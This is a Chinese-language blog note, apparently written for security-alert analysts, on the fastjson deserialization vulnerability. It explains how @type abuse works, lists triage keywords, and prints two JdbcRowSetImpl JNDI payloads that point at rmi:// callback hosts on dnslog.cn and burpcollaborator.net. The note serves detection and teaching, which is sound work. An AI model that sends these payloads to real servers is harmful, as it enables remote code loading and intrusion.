fastjson反序列化漏洞

++++fastjson漏洞利用原理++++**

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type 字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通 过字段传入一个类,再通过这个类被生成时执行构造函数

++++初研判:++++**

产生这个告警的时候着重查看原始事件里面的payload看是否有json格式的文件或者json的其他字段,或者看响应包里有无json格式或者fastjson,或者是否有_bytecodes 和dnslog关键字。

看是否会出现toJSONString() 和 parseObject() 方法关键字(这俩方法可以将 Java 对象与 JSON 相互转换)

++++告警示例图:++++**

抓包登录界面添加了字符破环原始json数据发现为fastjson

++++fastjson反序列化相关payload++++**

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://dnslog.cn/zcc",

"autoCommit":true

}

}

  1. 驱动JdbcRowSetImpl库;
    2、通过设置dataSourceName属性传参给lookup()方法;
    3、通过设置autoCommit属性来触发执行最终的lookup()方法。
    按照上面的例子,就可以构造出:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vvui5lzoq6556fmj4al3ighsrjxalz.burpcollaborator.net/Exploit","autoCommit":true}

着重查看标红关键字 rmi.class是Java的类文件,相较来说是恶意的

相关推荐
AlexMercer10126 小时前
【操作系统】操作系统期末考试 简答题 焚决
c语言·经验分享·笔记·操作系统
我先测了7 小时前
零第三方工具!Win10 自带磁盘管理给 C 盘扩容「纯官方」操作笔记
windows·笔记·扩容·c盘扩容
三品吉他手会点灯7 小时前
STM32F103 学习笔记-21-串口通信(第2节)-STM32串口功能框图讲解
笔记·stm32·单片机·嵌入式硬件·学习
AI视觉网奇7 小时前
nvidia 插件安装使用笔记
笔记·ue5
代码游侠7 小时前
应用——Web服务器项目代码解析
运维·服务器·开发语言·前端·笔记·html
Sirens.7 小时前
Java异常处理解析:从防御式编程到自定义异常类
java·开发语言·笔记·学习·github·javac
tjsoft7 小时前
多个阿里云卡顿处理笔记之-Storage Service占用1g内存
笔记·阿里云·卡顿·storage service
RaLi和夕8 小时前
硬件电路设计学习笔记4.MOS管
笔记·嵌入式硬件·学习
clorisqqq8 小时前
《人工智能现代方法(第四版)》笔记 启程
人工智能·笔记
海绵宝宝的月光宝盒8 小时前
01_SolidWorks加载Design library设计库
经验分享·笔记·其他·制造·学习方法